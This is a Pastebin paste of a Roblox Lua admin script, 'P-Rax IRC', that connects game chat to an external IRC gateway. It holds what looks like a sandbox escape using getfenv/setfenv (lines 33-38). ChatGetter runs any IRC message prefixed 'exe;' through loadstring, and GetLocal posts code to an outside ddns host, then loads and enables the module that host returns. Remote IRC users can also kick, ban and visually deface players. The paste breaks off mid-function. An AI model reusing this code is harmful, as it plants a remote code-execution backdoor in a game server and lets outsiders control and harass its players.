Advertisement
LOLMOMMY7

Untitled

May 28th, 2017
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.94 KB | None | 0 0
  1. ChatService=require(game:GetService("ServerScriptService").ChatServiceRunner.ChatService)
  2. if ChatService:GetSpeaker("P-Rax IRC") == nil then
  3. local chb=ChatService:AddSpeaker("P-Rax IRC")
  4. chb:JoinChannel("All")
  5. ChatService:GetSpeaker("P-Rax IRC"):SetExtraData("NameColor", BrickColor.new("Hot pink").Color)
  6. ChatService:GetSpeaker("P-Rax IRC"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  7. else
  8. ChatService:GetSpeaker("P-Rax IRC"):SetExtraData("NameColor", BrickColor.new("Hot pink").Color)
  9. ChatService:GetSpeaker("P-Rax IRC"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  10. end
  11. function ChatIRC(name,text)
  12. if ChatService:GetSpeaker(name) == nil then
  13. local chb=ChatService:AddSpeaker(name)
  14. end
  15. local chbb=ChatService:GetSpeaker(name)
  16. chbb:SayMessage(text, "All", {})
  17. end
  18. function GetDiscoColor(hue)
  19. hue=hue/4
  20. local section = hue % 1 * 3
  21. local secondary = 0.5 * math.pi * (section % 1)
  22. local thing
  23. if section < 1 then
  24. thing=Color3.new(1, 1 - math.cos(secondary), 1 - math.sin(secondary))
  25. elseif section < 2 then
  26. thing=Color3.new(1 - math.sin(secondary), 1, 1 - math.cos(secondary))
  27. else
  28. thing=Color3.new(1 - math.cos(secondary), 1 - math.sin(secondary), 1)
  29. end
  30. return thing
  31. end
  32.  
  33. a=newproxy(true);
  34. getmetatable(a).__tostring = function()
  35. a = getfenv(3);
  36. end;
  37. pcall(warn, a);
  38. a = setfenv(1, a);
  39. local Banned = {}
  40. funcs = {}
  41. local Http=game:GetService("HttpService")
  42. wait()
  43. local API = {}
  44. local Connections = {}
  45. local GStr = nil
  46. local Http = game:GetService("HttpService")
  47. local function Post(Url,Data)
  48. local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
  49. return Errored == false and false or Data
  50. end
  51. local function JSONDecode(JSON)
  52. local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
  53. if Worked == false then
  54. return {}
  55. else
  56. return Result
  57. end
  58. end
  59. local function HandleVagues(Connection,Ping,Derp,Raw)
  60. local Msgs = JSONDecode(Ping)
  61. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
  62. if Derp == nil and Ping:find(Search) then
  63. GStr = Ping
  64. end
  65. if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
  66. for i,v in pairs(Msgs) do
  67. for i2,v2 in pairs(Connection.VagueEvents) do
  68. if v2 ~= false then
  69. Spawn(function() v2(v,Raw) end)
  70. end
  71. end
  72. end
  73. end
  74. end
  75. SendChat = require(script.Needed.ChatModule)
  76. funcs.SendAll = function(txt)
  77. SendChat.MessageAll(txt, BrickColor.new("Lime green").Color, "Size24", "SourceSans")
  78. end
  79.  
  80.  
  81. SendAll = function(txt,color,size,font)
  82. SendChat.MessageAll(txt, BrickColor.new(color).Color, size, font)
  83. end
  84.  
  85. funcs.SendPlr = function(plr,txt)
  86. SendChat.MessageAll(plr,txt, BrickColor.new("Lime green").Color, "Size24", "SourceSans")
  87. end
  88.  
  89. SendPlr = function(plr,txt,color,size,font)
  90. SendChat.MessageToPlayer(plr,txt, BrickColor.new(color).Color, size, font)
  91. end
  92. PrivateServer=function(plr)
  93. local TS = game:GetService("TeleportService")
  94. local code = TS:ReserveServer(game.PlaceId)
  95. TS:TeleportToPrivateServer(game.PlaceId,code,plr)
  96. end
  97. funcs.Output = function(Type,Message,User)
  98. local p = Instance.new('StringValue')
  99. p.Name = 'SB_Output:Output'
  100. p.Value = '["'..Type..'","'..Message..'"]'
  101. wait()
  102. p.Parent = User
  103. end
  104. function funcs.GetLogs()
  105. ircprint("P-Rax","Got logs")
  106. for index,data in pairs(CommandLogs)do
  107. ircprint(tostring(data.User),tostring(data.Command))
  108. end
  109. end
  110. funcs.PromptPurchaseRank = function(t)
  111. local passId = 729031084
  112. local MarketplaceService = game:GetService("MarketplaceService")
  113.  
  114. MarketplaceService.PromptPurchaseFinished:connect(function(player, assetId, isPurchased)
  115. if isPurchased and assetId == passId then
  116. Output(t,"Purchased Rank 6","Lime green")
  117. Ranked[t.Name]={Rank=6,Reason="Gamepass Buyer",Color='Really red',Chat=false,AntiBan=false,Wave=false,Shape="Simple",Tablets={}}
  118. else
  119. Output(t,"Cancelled Purchase","Really red")
  120. end
  121. end)
  122. game:GetService("MarketplaceService"):PromptPurchase(t, "729031084")
  123. end
  124. funcs.Msg = function(title,str,tme)
  125. for i,v in pairs(game:GetService("Players"):GetPlayers'') do
  126. coroutine.wrap(function(v)
  127. if not v:findFirstChild'PlayerGui' then Instance.new("PlayerGui",v);end;
  128. local g = Instance.new("ScreenGui",v.PlayerGui);
  129. g.Name="Message";
  130. local bg = Instance.new("Frame",g);
  131. bg.BackgroundColor3=Color3.new(0,0,0);
  132. bg.BackgroundTransparency=.5;
  133. bg.BorderColor3=Color3.new(0,0,0);
  134. bg.Size=UDim2.new(1,0,1,0);
  135. bg.Name="Bg";
  136. bg.Position=UDim2.new(-1,0,0,0);
  137. local label = Instance.new("TextLabel",bg);
  138. label.BackgroundTransparency=1;
  139. label.Name="Label";
  140. label.Size=UDim2.new(1,0,.1,0);
  141. label.Font="SourceSansLight"
  142. label.TextColor3=Color3.new(170,85,255);
  143. label.TextScaled=true;
  144. label.TextWrapped=true;
  145. label.TextStrokeColor3=Color3.new(255,255,255);
  146. label.TextStrokeTransparency=0;
  147. label.Text=title
  148. local txt = Instance.new("TextLabel",bg);
  149. txt.BackgroundTransparency=1;
  150. txt.Name="Text";
  151. txt.Size=UDim2.new(1,0,.9,0);
  152. txt.Position=UDim2.new(0,0,.1,0);
  153. txt.Font="SourceSansLight";
  154. txt.TextColor3=Color3.new(170,85,255);
  155. txt.TextScaled=true;
  156. txt.TextWrapped=true;
  157. txt.TextStrokeColor3=Color3.new(255,255,255);
  158. txt.TextStrokeTransparency=0;
  159. txt.Text=str
  160.  
  161. bg.Visible=false;
  162. txt.Visible=false;
  163. label.Visible=false;
  164.  
  165. txt.TextStrokeTransparency=1;
  166. txt.TextTransparency=1;
  167. label.TextStrokeTransparency=1;
  168. label.TextTransparency=1;
  169.  
  170. bg.Visible=true;
  171. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1);
  172.  
  173. wait'1';
  174. bg.Position=UDim2.new(0,0,0,0);
  175. wait'.5';
  176.  
  177. txt.Visible=true;
  178. label.Visible=true;
  179. for i = 100,0,-5 do
  180. txt.TextTransparency=i/100;
  181. txt.TextStrokeTransparency=i/100;
  182. label.TextTransparency=i/100;
  183. label.TextStrokeTransparency=i/100;
  184. wait();end;
  185. wait (tme);
  186. for i = 0,100,5 do
  187. txt.TextTransparency=i/100;
  188. txt.TextStrokeTransparency=i/100;
  189. label.TextTransparency=i/100;
  190. label.TextStrokeTransparency=i/100;
  191. wait'';end;
  192. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5);
  193. wait (tme);
  194. g:Destroy'';
  195. end)(v);
  196. end;
  197. end
  198. funcs.OxChat = function(Player, Message)
  199. for _,plr in next,game.Players:GetPlayers() do
  200. local val=Instance.new("StringValue")
  201. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  202. game.Debris:AddItem(val,0)
  203. end
  204. end
  205. funcs.Hint = function(str,tme)
  206. for i,v in pairs(game.Players:GetPlayers()) do
  207. coroutine.wrap(function()
  208. if not v:findFirstChild("PlayerGui") then Instance.new("PlayerGui",v) end
  209. local g = Instance.new("ScreenGui",v.PlayerGui)
  210. g.Name="Hint"
  211. local bg = Instance.new("Frame",g)
  212. bg.BackgroundColor3=Color3.new(0,0,0)
  213. bg.BackgroundTransparency=.5
  214. bg.BorderColor3=Color3.new(0,0,0)
  215. bg.Name="Bg"
  216. bg.Size=UDim2.new(1,0,0.05,0)
  217. bg.Visible=false
  218. local txt = Instance.new("TextLabel",bg)
  219. txt.BackgroundTransparency=1
  220. txt.Name="Text"
  221. txt.Size=UDim2.new(1,0,1,0)
  222. txt.Font="ArialBold"
  223. txt.TextColor3=Color3.new(255,255,255)
  224. txt.TextScaled=true
  225. txt.TextWrapped=true
  226. txt.TextStrokeColor3=Color3.new(0,0,0)
  227. txt.TextStrokeTransparency=0
  228. txt.Text=str
  229.  
  230. bg.Position=UDim2.new(-1,0,0,0)
  231.  
  232. txt.Visible=false
  233. txt.TextStrokeTransparency=1
  234. txt.TextTransparency=1
  235.  
  236. bg.Visible=true
  237. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1)
  238. wait(1)
  239. bg.Position=UDim2.new(0,0,0,0) -- just in case
  240. wait(.5)
  241. txt.Visible=true
  242. for i = 100,0,-5 do
  243. txt.TextTransparency=i/100
  244. txt.TextStrokeTransparency=i/100
  245. wait()
  246. end
  247. wait(tme)
  248. for i = 0,100,5 do
  249. txt.TextTransparency=i/100
  250. txt.TextStrokeTransparency=i/100
  251. wait()
  252. end
  253. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5)
  254. wait(tme)
  255. g:Destroy()
  256. end)()
  257. end
  258. end
  259. function GetLocal(source,player)
  260. site = "http://rbxapis.ddns.net/newlocal.php"
  261. id = tonumber(game:GetService('HttpService'):PostAsync(site,source))
  262. _returnscript = require(id)
  263. _returnscript.Parent=player.PlayerGui
  264. _returnscript.Disabled=false
  265. end
  266. function find1Player(str)
  267. for i,v in pairs(game.Players:players'') do
  268. if v.Name:sub(str:len()) == str then
  269. return v;
  270. end
  271. end
  272. end
  273. function GetPlayer(msg,Reason)
  274. local FoundPlayers = {}
  275. local find
  276. if Reason == true then
  277. ypcall(function()
  278. find = string.find(msg,";")
  279. msg = string.sub(msg,1,find-1)
  280. end)
  281. end
  282. if msg == "all" or msg == "everyone" then
  283. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  284. table.insert(FoundPlayers,Plr)
  285. end
  286. elseif msg == "noobs" or msg == "nubs" then
  287. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  288. if Plr.AccountAge < 364 and Plr.Name ~= "PointCoded" then
  289. table.insert(FoundPlayers,Plr)
  290. end
  291. end
  292. elseif msg == "veterans" or msg == "elders" then
  293. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  294. if Plr.AccountAge >= 364 then
  295. table.insert(FoundPlayers,Plr)
  296. end
  297. end
  298. else
  299. local Z = false
  300. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  301. local N = string.lower(Plr.Name)
  302. msg = string.lower(msg)
  303. if string.match(N,msg) then
  304. if Z == false then
  305. Z = true
  306. table.insert(FoundPlayers,Plr)
  307. end
  308. end
  309. end
  310. end
  311. return FoundPlayers
  312. end
  313. Scale = function(p, size)
  314. local pchar = p.Character
  315. if pchar then
  316. local function scale(chr, scl)
  317.  
  318. for _, v in pairs(pchar:GetChildren()) do
  319. if v:IsA("Hat") then
  320. v:Clone()
  321. v.Parent = game.Lighting
  322. end
  323. end
  324.  
  325. local Head = chr['Head']
  326. local Torso = chr['Torso']
  327. local LA = chr['Left Arm']
  328. local RA = chr['Right Arm']
  329. local LL = chr['Left Leg']
  330. local RL = chr['Right Leg']
  331. local HRP = chr['HumanoidRootPart']
  332.  
  333. wait(0.1)
  334.  
  335. Head.formFactor = 3
  336. Torso.formFactor = 3
  337. LA.formFactor = 3
  338. RA.formFactor = 3
  339. LL.formFactor = 3
  340. RL.formFactor = 3
  341. HRP.formFactor = 3
  342.  
  343. Head.Size = Vector3.new(scl * 2, scl, scl)
  344. Torso.Size = Vector3.new(scl * 2, scl * 2, scl)
  345. LA.Size = Vector3.new(scl, scl * 2, scl)
  346. RA.Size = Vector3.new(scl, scl * 2, scl)
  347. LL.Size = Vector3.new(scl, scl * 2, scl)
  348. RL.Size = Vector3.new(scl, scl * 2, scl)
  349. HRP.Size = Vector3.new(scl * 2, scl * 2, scl)
  350.  
  351. local Motor1 = Instance.new('Motor6D', Torso)
  352. Motor1.Part0 = Torso
  353. Motor1.Part1 = Head
  354. Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
  355. Motor1.C1 = CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
  356. Motor1.Name = "Neck"
  357.  
  358. local Motor2 = Instance.new('Motor6D', Torso)
  359. Motor2.Part0 = Torso
  360. Motor2.Part1 = LA
  361. Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
  362. Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0)
  363. Motor2.Name = "Left Shoulder"
  364.  
  365. local Motor3 = Instance.new('Motor6D', Torso)
  366. Motor3.Part0 = Torso
  367. Motor3.Part1 = RA
  368. Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
  369. Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0)
  370. Motor3.Name = "Right Shoulder"
  371.  
  372. local Motor4 = Instance.new('Motor6D', Torso)
  373. Motor4.Part0 = Torso
  374. Motor4.Part1 = LL
  375. Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
  376. Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
  377. Motor4.Name = "Left Hip"
  378.  
  379. local Motor5 = Instance.new('Motor6D', Torso)
  380. Motor5.Part0 = Torso
  381. Motor5.Part1 = RL
  382. Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
  383. Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
  384. Motor5.Name = "Right Hip"
  385.  
  386. local Motor6 = Instance.new('Motor6D', HRP)
  387. Motor6.Part0 = HRP
  388. Motor6.Part1 = Torso
  389. Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
  390. Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
  391.  
  392. end
  393.  
  394. scale(pchar, size)
  395. pchar.Humanoid.WalkSpeed = 15 * size
  396.  
  397. for _, v in pairs(game.Lighting:GetChildren()) do
  398. if v:IsA("Hat") then
  399. v.Parent = pchar
  400. end
  401. end
  402. end
  403. end
  404. Fire = function(person, color)
  405. local pos = person.Character.Torso.Position
  406. for _, v in pairs(person.Character:GetChildren()) do
  407. if v:IsA'Part' and v.Name ~= "HumanoidRootPart" then
  408. if v.Name ~= "Head" then
  409. for i = 0, 10, 1 do
  410. local part = Instance.new("Part", person.Character)
  411. part.Name = "Burnt:"..v.Name
  412. local l = Instance.new("PointLight", part)
  413. l.Brightness = 5
  414. l.Range = 5
  415. part.FormFactor = "Custom"
  416. part.Size = Vector3.new(v.Size.X + .2, v.Size.Y / 10, v.Size.Z + .2)
  417. part.CanCollide = false
  418. part.Transparency = .5
  419. if _ % 2 == 0 then
  420. if i % 2 == 0 then
  421. part.BrickColor = BrickColor.new(color)
  422. else
  423. part.BrickColor = BrickColor.new("Really black")
  424. end
  425. else
  426. if i % 2 == 0 then
  427. part.BrickColor = BrickColor.new("Really black")
  428. else
  429. part.BrickColor = BrickColor.new(color)
  430. end
  431. end
  432. part.Material = Enum.Material.Neon
  433. l.Color = part.Color
  434. part.TopSurface = "Smooth"
  435. part.BottomSurface = "Smooth"
  436. local w = Instance.new("Weld")
  437. w.Part1 = v
  438. w.Part0 = part
  439. w.C1 = CFrame.new(0, (1 - v.Size.Y / 10 * i), 0)
  440. w.Parent = person.Character.Torso
  441. w.Name = v.Name
  442. v.Touched:connect(function(hit)
  443. if hit.Parent.Name ~= person.Name then
  444. local hum = hit.Parent:findFirstChild("Humanoid")
  445. if hum then
  446. for a, d in pairs(hit.Parent:GetChildren()) do
  447. if d:IsA'Part' and d.Name ~= "HumanoidRootPart" then
  448. d.BrickColor = BrickColor.new("Really black")
  449. d.Material = "CorrodedMetal"
  450. d.Transparency = 0
  451. elseif d.Name == "HumanoidRootPart" then
  452. d:ClearAllChildren()
  453. elseif
  454. d:IsA'Shirt' or d:IsA'Pants' or d:IsA'Hat' or d:IsA'BodyColors' then
  455. d:Destroy()
  456. end
  457. end
  458. end
  459. end
  460. end)
  461. end
  462. --v.Anchored=true
  463. elseif v.Name == "Head" then
  464. local fire = Instance.new("Fire", v)
  465. fire.SecondaryColor = Color3.new(1, 0, 0)
  466. v.Material = Enum.Material.Neon
  467. v.BrickColor = BrickColor.new(color)
  468. v.Transparency = .5
  469. pcall(function()
  470. v.face.Transparency = 1
  471. local decal = Instance.new('Decal', v)
  472. decal.Face = "Front"
  473. decal.Texture = "http://www.roblox.com/asset/?id=209712379"
  474. end)
  475. end
  476. elseif v:IsA'Hat' then
  477. v.Handle.Material = Enum.Material.Neon
  478. v.Handle.Mesh.TextureId = ""
  479. v.Handle.BrickColor = BrickColor.new(color)
  480. v.Handle.Transparency = .5
  481. end
  482. end
  483. person.Character:MoveTo(pos)
  484. end
  485. Fart = function(Character)
  486. local FartPart = Instance.new("Part", Character)
  487. FartPart.BrickColor = BrickColor.new("Institutional white");
  488. FartPart.Material = Enum.Material.SmoothPlastic
  489. FartPart.Transparency = 1;
  490. FartPart.Name = "Fart"
  491. FartPart.FormFactor = Enum.FormFactor.Symmetric
  492. FartPart.Size = Vector3.new(2, 1, 1);
  493. FartPart.CFrame = Character.Torso.CFrame * CFrame.new(0, -1, .75) * CFrame.Angles(math.rad(-90), 0, 0);
  494. FartPart.CanCollide = false;
  495. FartPart.Locked = true;
  496. FartPart.BottomSurface = Enum.SurfaceType.Smooth
  497. FartPart.TopSurface = Enum.SurfaceType.Smooth
  498. local Weld = Instance.new("Weld", FartPart)
  499. Weld.C0 = FartPart.CFrame:inverse();
  500. Weld.C1 = Character.Torso.CFrame:inverse();
  501. Weld.Part0 = FartPart
  502. Weld.Part1 = Character.Torso
  503. local FartSmoke = Instance.new("Smoke", FartPart)
  504. FartSmoke.RiseVelocity = -5;
  505. FartSmoke.Size = .1;
  506. FartSmoke.Color = Color3.new(70 / 255, 100 / 255, 30 / 255);
  507. FartSmoke.Opacity = 1;
  508. wait(3);
  509. FartPart:Destroy();
  510. end
  511. for _,v in pairs(game.Players:GetPlayers()) do
  512. if v:FindFirstChild("SB_CommandRemote") then
  513. function sbexe(cmd,plr)
  514. if not type(cmd)=='string'then return end
  515. if plr then
  516. if type(plr)=='userdata'then
  517. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  518. elseif type(plr)=='string'then
  519. plr = game:GetService('Players'):FindFirstChild(plr)
  520. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  521. end
  522. else
  523. for i,v in pairs(game:GetService('Players'):children())do
  524. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  525. end
  526. end
  527. end
  528. end
  529. end
  530. for _,v in pairs(game.Players:GetPlayers()) do
  531. if v:FindFirstChild("SB_CommandRemote") then
  532. funcs.Mute = function(Player)
  533. sbexe("l/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)",Player)
  534. end
  535. funcs.UnMute = function(Player)
  536. sbexe("l/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true)",Player)
  537. end
  538. end
  539. end
  540. plrOxChat = function(plr,Player, Message)
  541. local val=Instance.new("StringValue")
  542. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  543. game.Debris:AddItem(val,0)
  544. end
  545. OxChat = function(Player, Message)
  546. for _,plr in next,game.Players:GetPlayers() do
  547. local val=Instance.new("StringValue")
  548. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  549. game.Debris:AddItem(val,0)
  550. end
  551. end
  552. ChatGetter = function(Message, Chat)
  553.  
  554. if Chat then
  555.  
  556. if string.sub(Chat,1,4) == "exe;" then
  557. local ToExe = string.sub(Chat,5)
  558. local execute = loadstring(ToExe)
  559. local Run,Error = ypcall(function()
  560. execute()
  561. end)
  562. elseif string.sub(Chat,1,4) ~= "exe;" then
  563. OxChat("[Legit IRC] "..Message,Chat or Message)
  564. if not string.find(Message,"DominusRAX") and not string.find(Message,"LM7") then if getrank(Message) then SendChat.MessageAll("[P-Rax IRC] ["..Message.."] ["..getrank(Message).."]: "..Chat,
  565. BrickColor.new("Teal").Color,
  566. "Size24",
  567. "SourceSansBold"
  568. )
  569. else
  570. SendChat.MessageAll("[P-Rax IRC] ["..Message.."]: "..Chat,
  571. BrickColor.new("Teal").Color,
  572. "Size24",
  573. "SourceSansBold"
  574. )
  575. end
  576. --ChatIRC("P-Rax IRC","["..Message"]: "..Chat)
  577. elseif string.find(Message,"DominusRAX") then
  578. SendChat.MessageAll("[P-Rax IRC] [Cross-Server] "..Chat,
  579. BrickColor.new("Lime green").Color,
  580. "Size24",
  581. "SourceSansBold"
  582. )
  583. else
  584. SendChat.MessageAll("[P-Rax IRC] [P-Rax Creator] [LM7]: "..Chat,
  585. BrickColor.new("Teal").Color,
  586. "Size24",
  587. "SourceSansBold"
  588. )
  589. end
  590. if string.sub(Chat,1,5) == "kick;" then
  591. local msg = string.sub(Chat,6)
  592. local Players = GetPlayer(msg,true)
  593. local Reason = string.find(msg,";")
  594. Reason = string.sub(msg,Reason + 1)
  595. for i,Player in pairs(Players) do
  596. Player:Kick(Reason)
  597. end
  598. elseif string.sub(Chat,1,4) == "ban;" then
  599. local msg = string.sub(Chat,5)
  600. local Players = GetPlayer(msg,true)
  601. local Reason = string.find(msg,";")
  602. Reason = string.sub(msg,Reason + 1)
  603. for i,Player in pairs(Players) do
  604. Player:Kick(Reason)
  605. Banned[Player.Name] = {Reason = Reason}
  606. end
  607.  
  608. elseif string.sub(Chat,1,5) == "fire;" then
  609. local msg = string.sub(Chat,6)
  610. local Players = GetPlayer(msg,true)
  611. local Reason = string.find(msg,";")
  612. Reason = string.sub(msg,Reason + 1)
  613. for i,Player in pairs(Players) do
  614. Fire(Player,Reason)
  615. end
  616. elseif string.sub(Chat,1,5) == "fart;" then
  617. local msg = string.sub(Chat,6)
  618. local Players = GetPlayer(msg)
  619. for i,Player in pairs(Players) do
  620. Fart(Player.Character)
  621. end
  622. end
  623. end
  624. end
  625. end
  626. API.Connect = function(this,Host,Nick,Pass)
  627. --if Connections[Nick.."@"..Host] == nil then
  628. local Con = {}
  629. Connections[Nick.."@"..Host] = Con
  630. Con.Host = Host
  631. Con.Nick = Nick
  632. Con.Counter = 0
  633. Con.Channels = {}
  634. Con.VagueEvents = {}
  635. Con.ChannelEvents = {[Nick]={}}
  636. Con.UserLists = {}
  637. Con.SelfEvents = {}
  638. Con.Counter = Con.Counter+1
  639. local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
  640. Data = JSONDecode(Data)
  641. Con.Key = Data[2]
  642. local Str = ""
  643. if Con.Key ~= nil then
  644. wait(1)
  645. Con.Counter = Con.Counter+1
  646. local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
  647. if Data == false then
  648. return false,"Something went wrong."
  649. else
  650. local Data2 = JSONDecode(Data)
  651. if Data2[1] == false then
  652. return false,Data
  653. end
  654. end
  655. Str = Str..Data
  656. Con.Counter = Con.Counter+1
  657. local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
  658. if Data == false then
  659. return false,"Something went wrong."
  660. else
  661. local Data2 = JSONDecode(Data)
  662. if Data2[1] == false then
  663. return false,Data
  664. end
  665. end
  666. Str = Str..Data
  667. if Str:lower():find("already in use") then
  668. return false,"Nick already in use."
  669. elseif Str:lower():find("throttled") then
  670. return false,"Oh no! We got throttled."
  671. elseif Str:lower():find("invalid session") then
  672. return false,"Something went wrong."
  673. end
  674. if Pass ~= nil then
  675. API.SendMessage(API.SendMessage,Con,"NickServ","identify "..Pass)
  676. end
  677. wait()
  678. return Con
  679. else
  680. return false,"Something went wrong."
  681. end
  682. --[[else
  683. return false,"There is a connection with this nick already."
  684. end]]
  685.  
  686. end
  687.  
  688.  
  689.  
  690.  
  691. API.Disconnect = function(this,Connection)
  692.  
  693. local Host = Connection.Host
  694.  
  695. local Nick = Connection.Nick
  696.  
  697. local Key = Connection.Key
  698.  
  699. if Connections[Nick.."@"..Host] ~= nil then
  700.  
  701. Connection.Counter = Connection.Counter+1
  702.  
  703. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=QUIT :Leaving")
  704.  
  705. if Data ~= false then
  706.  
  707. Connections[Nick.."@"..Host] = nil
  708.  
  709. for i,v in pairs(Connection.SelfEvents) do
  710.  
  711. v:Disconnect()
  712.  
  713. end
  714.  
  715. Connection.SelfEvents = {}
  716.  
  717. for Channel,_ in pairs(Connection.Channels) do
  718.  
  719. Connection.Channels[Channel] = nil
  720.  
  721. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  722.  
  723. v:Disconnect()
  724.  
  725. end
  726.  
  727. Connection.ChannelEvents[Channel] = nil
  728.  
  729. end
  730.  
  731. return true
  732.  
  733. else
  734.  
  735. return false,"Something went wrong."
  736.  
  737. end
  738.  
  739. else
  740.  
  741. return false,"This connection doesn't exist."
  742.  
  743. end
  744.  
  745. end
  746.  
  747.  
  748.  
  749.  
  750. API.ChangeNick = function(this,Connection,Nick)
  751.  
  752. local Host = Connection.Host
  753.  
  754. local Key = Connection.Key
  755.  
  756. if Connections[Connection.Nick.."@"..Host] ~= nil then
  757.  
  758. Connection.Counter = Connection.Counter+1
  759.  
  760. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
  761.  
  762. if Data == false then
  763.  
  764. return false,"Something went wrong."
  765.  
  766. else
  767.  
  768. local Data2 = JSONDecode(Data)
  769.  
  770. if Data2[1] == false then
  771.  
  772. return false,Data
  773.  
  774. end
  775.  
  776. end
  777.  
  778. Connections[Connection.Nick.."@"..Host] = nil
  779.  
  780. Connection.Nick = Nick
  781.  
  782. Connections[Nick.."@"..Host] = Connection
  783.  
  784. return true
  785.  
  786. else
  787.  
  788. return false,"There is no connection with this nick and host."
  789.  
  790. end
  791.  
  792. end
  793.  
  794.  
  795.  
  796.  
  797. API.JoinChannel = function(this,Connection,Channel)
  798.  
  799. local Host = Connection.Host
  800.  
  801. local Nick = Connection.Nick
  802.  
  803. local Key = Connection.Key
  804.  
  805. local Str = ""
  806.  
  807. if Connections[Nick.."@"..Host] ~= nil then
  808.  
  809. Connection.Counter = Connection.Counter+1
  810.  
  811. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
  812.  
  813. if Data == false then
  814.  
  815. return false,"Something went wrong."
  816.  
  817. else
  818.  
  819. local Data2 = JSONDecode(Data)
  820.  
  821. if Data2[1] == false then
  822.  
  823. return false,Data
  824.  
  825. end
  826.  
  827. end
  828.  
  829. Str = Str..Data
  830.  
  831.  
  832.  
  833. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  834.  
  835. if Str:find(Search) == nil then
  836.  
  837. repeat
  838.  
  839. if GStr ~= nil then
  840.  
  841. Str = Str..GStr
  842.  
  843. GStr = nil
  844.  
  845. break
  846.  
  847. end
  848.  
  849. Connection.Counter = Connection.Counter+1
  850.  
  851. local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  852.  
  853. if Data == false then
  854.  
  855. return false,"Something went wrong."
  856.  
  857. else
  858.  
  859. HandleVagues(Connection,Data,false)
  860.  
  861. local Data2 = JSONDecode(Data)
  862.  
  863. if Data2[1] == false then
  864.  
  865. return false,Data
  866.  
  867. end
  868.  
  869. end
  870.  
  871. Str = Str..Data
  872.  
  873. until Str:find(Search) ~= nil
  874.  
  875. end
  876.  
  877.  
  878.  
  879. if Str:find("already in use") then
  880.  
  881. return false,"Nick already in use."
  882.  
  883. elseif Str:lower():find("throttled") then
  884.  
  885. return false,"Oh no! We got throttled."
  886.  
  887. elseif Str:lower():find("invalid session") then
  888.  
  889. return false,"Something went wrong."
  890.  
  891. else--if Str:lower():find("end of /names list.") then
  892.  
  893. Connection.Channels[Channel] = true
  894.  
  895. Connection.ChannelEvents[Channel] = {}
  896.  
  897. Connection.UserLists[Channel] = {}
  898.  
  899. Connection.UserLists[Channel][Nick] = true
  900.  
  901. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  902.  
  903. local RawSearch = Search:gsub("%%","")
  904.  
  905. local Start = Str:find(Search)
  906.  
  907. if Start ~= nil then
  908.  
  909. local End = Str:find('"',Start+#RawSearch+1,true)
  910.  
  911. local List = Str:sub(Start+#RawSearch,End-1)
  912.  
  913. for Match in List:gmatch("[^%s]+") do
  914.  
  915. if Match ~= Nick then
  916.  
  917. if Match:sub(1,1):match("[%w]") then
  918.  
  919. Connection.UserLists[Channel][Match] = true
  920.  
  921. else
  922.  
  923. Connection.UserLists[Channel][Match:sub(2)] = true
  924.  
  925. end
  926.  
  927. end
  928.  
  929. end
  930.  
  931. end
  932.  
  933. Spawn(function()
  934.  
  935. Connection.SelfEvents[#Connection.SelfEvents+1] = API.UserJoined(API.UserJoined,Connection,Channel,function(User)
  936.  
